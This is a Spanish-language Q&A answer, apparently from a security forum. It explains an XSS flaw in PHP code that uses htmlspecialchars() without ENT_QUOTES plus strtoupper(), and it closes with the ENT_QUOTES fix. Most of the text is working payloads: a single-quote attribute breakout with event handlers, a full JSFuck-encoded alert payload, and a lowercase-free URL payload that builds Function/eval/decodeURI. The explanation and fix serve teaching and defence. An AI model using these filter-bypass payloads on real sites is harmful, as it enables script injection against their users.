Su parámetro $ID
se imprime dentro de un valor de atributo de etiqueta HTML. Desafortunadamente, se ejecuta a través de htmlspecialchars()
que se supone que codifica caracteres significativos para HTML. Como la función no tiene el indicador ENT_QUOTES
establecido, escapará a <
, >
, &
, "
, pero no a '
(comillas simples). Por suerte para usted, el valor está encerrado entre comillas simples, por lo que puede usar '
para romper el atributo.
A continuación, querrá cerrar la etiqueta y comenzar una nueva (por ejemplo, <script>
) pero htmlspecialchars()
no le permite (ya que escapa >
y <
). Entonces, en lugar de eso, debes usar un controlador de eventos que funcione para las etiquetas <input>
. El controlador de eventos onload
no se aplica a los cuadros de entrada, pero puede usar otros, por ejemplo, onmouseover
. (El efecto secundario es que necesitará una interacción mínima con el usuario para activar el XSS, o tendrá que aprovechar los atributos adicionales como autofocus
para que se active inmediatamente en la carga de la página.)
Así que tenemos esto:
<input type='text' value='' onmouseover='(javascript payload)'>
|-------------- $ID --------------|
Ahora, no puede usar JS simple como alert(1)
como carga útil, ya que el valor también se ejecuta a través de strtoupper()
que capitalizaría el nombre de la función a ALERT(1)
, que no es válido. En su lugar, necesita encontrar un código JS que funcione solo con mayúsculas, o incluso mejor, sin letras. Para eso puedes usar una herramienta como JSFuck que traduce cualquier código JS en una representación equivalente sin ninguna letra.
Por ejemplo, alert(1)
se convierte en:
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
Por lo tanto, esto sería un PoS de XSS en funcionamiento:
' onmouseover='[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
Si el uso de JSFuck no es práctico para usted (por ejemplo, debido a las restricciones de longitud de la URL como comentó @chefarov), existen otras técnicas que funcionan sin letras en minúsculas. Por ejemplo, el valor del atributo se puede poner completamente como entidades HTML, de modo que el a
de alert
se escriba como a
y así sucesivamente. (En su escenario específico, no puede usar esto porque htmlspecialchars()
también escaparía a cualquier &
).
Sin embargo, aquí hay un PoC de una carga útil más corta que evita letras minúsculas:
xss.php?xss='+autofocus+onfocus=U%3D[][[]]%2B''%3BY%3D[][U[4]%2BU[5]%2BU[6]%2BU[8]]%3BX%3DY%2B''%3BT%3D(!![]%2B'')%3BF%3D(![]%2B'')%3BZ%3DU[8]%2BU[3]%2BX[30]%2BX[31]%2BU[8]%2BU[3]%2B'URI'%3BG%3DY[X[3]%2BX[6]%2BX[2]%2BF[3]%2BT[0]%2BT[1]%2BT[2]%2BX[3]%2BT[0]%2BX[31]%2BT[1]]%3BG(U[3]%2BX[27]%2BF[1]%2BF[2]%2B'('%2BZ%2B'('%2561%256C%2565%2572%2574%2528%2527%2578%2573%2573%2527%2529'))')()//
(Básicamente, estoy ensamblando Function(eval(decodeURI(...)))
sin letras minúsculas y luego puedo alimentarlo con la carga útil real codificada en URL (por ejemplo, a
= > %61
) que nunca requiere letras en minúsculas.)
La solución
Debes codificar tanto las comillas dobles como las simples agregando el indicador ENT_QUOTES
:
$NEWID = strtoupper(htmlspecialchars($ID, ENT_QUOTES));